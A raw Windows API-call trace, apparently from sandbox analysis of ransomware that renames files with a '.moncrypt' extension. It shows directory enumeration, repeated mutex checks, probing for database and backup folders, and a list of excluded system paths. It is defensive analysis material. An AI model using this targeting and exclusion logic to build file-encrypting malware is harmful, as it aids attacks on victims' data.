0x440004 [0050.424] GlobalUnlock (hMem=0x440004) returned 0 [0050.424] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.424] GlobalUnlock (hMem=0x44000c) returned 0 [0050.424] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.424] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6357, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0050.424] GetLastError () returned 0x12 [0050.424] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.424] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0050.424] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.424] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.424] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.424] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.424] GlobalUnlock (hMem=0x44000c) returned 0 [0050.424] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.424] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.424] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.424] GlobalUnlock (hMem=0x44000c) returned 0 [0050.424] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.424] GlobalUnlock (hMem=0x440004) returned 0 [0050.424] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.425] GlobalLock (hMem=0x440004) returned 0x550170 [0050.425] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.425] GlobalUnlock (hMem=0x440004) returned 0 [0050.425] GlobalLock (hMem=0x440004) returned 0x550170 [0050.425] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.425] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.425] GlobalUnlock (hMem=0x440004) returned 0 [0050.425] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.425] GlobalUnlock (hMem=0x44000c) returned 0 [0050.425] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.425] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC") returned 1 [0050.425] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.425] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.425] GlobalUnlock (hMem=0x44000c) returned 0 [0050.425] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.425] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.425] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.425] GlobalUnlock (hMem=0x44000c) returned 0 [0050.425] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.425] GlobalUnlock (hMem=0x440004) returned 0 [0050.425] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@쁞R쀲R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.426] GetLastError () returned 0x3 [0050.426] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.427] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0050.427] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0050.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뾴R企@\x18㿬Q\x181")) returned 0xffffffff [0050.427] GetLastError () returned 0x2 [0050.427] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.427] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0050.427] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0050.428] GetLastError () returned 0x2 [0050.428] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.428] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0050.428] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@삌R企@\x18?T\x18D")) returned 0xffffffff [0050.428] GetLastError () returned 0x2 [0050.428] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.428] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0050.428] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뾴R企@\x18몤R\x18j")) returned 0xffffffff [0050.429] GetLastError () returned 0x2 [0050.429] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.429] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.429] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@삌R企@\x18?T\x18q")) returned 0xffffffff [0050.429] GetLastError () returned 0x2 [0050.429] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.429] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RP") returned 6 [0050.429] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@奌U企@\x18?T\x18y")) returned 0xffffffff [0050.430] GetLastError () returned 0x2 [0050.430] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.430] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0050.430] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.430] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뾴R企@\x18?T\x18\x81")) returned 0xffffffff [0050.430] GetLastError () returned 0x2 [0050.430] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.430] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0050.430] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.430] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@삌R企@\x18?T\x18\x88")) returned 0xffffffff [0050.431] GetLastError () returned 0x2 [0050.431] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.431] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0050.431] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@奌U企@\x18?T\x18\x8f")) returned 0xffffffff [0050.431] GetLastError () returned 0x2 [0050.431] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.431] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0050.431] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뾴R企@\x18?T\x18\x97")) returned 0xffffffff [0050.431] GetLastError () returned 0x2 [0050.432] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0050.432] GlobalLock (hMem=0x440004) returned 0x550170 [0050.432] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.432] GlobalUnlock (hMem=0x440004) returned 0 [0050.432] GlobalLock (hMem=0x440004) returned 0x550170 [0050.432] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.432] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.432] GlobalUnlock (hMem=0x440004) returned 0 [0050.432] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.432] GlobalUnlock (hMem=0x44000c) returned 0 [0050.432] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.432] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.432] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.432] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0050.432] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.432] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.433] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.433] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.433] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.433] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.433] GlobalUnlock (hMem=0x44000c) returned 0 [0050.433] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.433] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.433] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.433] GlobalUnlock (hMem=0x44000c) returned 0 [0050.433] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.433] GlobalUnlock (hMem=0x440004) returned 0 [0050.433] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.433] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.433] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.434] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0050.434] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0050.434] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0050.434] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\") returned 0x3f [0050.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e58, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.434] GlobalLock (hMem=0x440004) returned 0x550170 